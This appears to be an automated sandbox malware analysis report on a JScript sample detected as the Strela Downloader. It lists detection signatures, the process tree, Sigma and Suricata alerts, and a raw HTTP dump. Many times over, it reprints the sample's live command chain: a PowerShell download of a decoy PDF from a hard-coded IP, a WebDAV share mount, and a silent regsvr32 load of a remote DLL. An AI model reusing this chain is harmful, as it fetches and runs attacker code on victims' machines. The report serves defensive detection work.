Edit tour

Windows Analysis Report
160370701202011504.js

Overview

General Information

Sample name:	160370701202011504.js
Analysis ID:	1588181
MD5:	cff136fb02cdb6f3d031c954e87fc8ba
SHA1:	0d45330c1980416a80c77d9e2fc12c6a4a4eecbe
SHA256:	97be0267b0d1cd2d3d66d541cf7aef2d0fc8723d9dfc7bff9814ebec57160f4f
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6468 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5992 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5360 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7504 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7744 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1768,i,2178742765760975374,8707216640143188613,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7296 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7376 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7568 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6468	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5360, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5360, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ProcessId: 6468, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7376, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ProcessId: 6468, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5360, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7296, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7376, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7568, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7296, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7376, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6468, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 5992, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:23:40.959516+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:23:37.256812+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 160370701202011504.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 160370701202011504.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:23:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 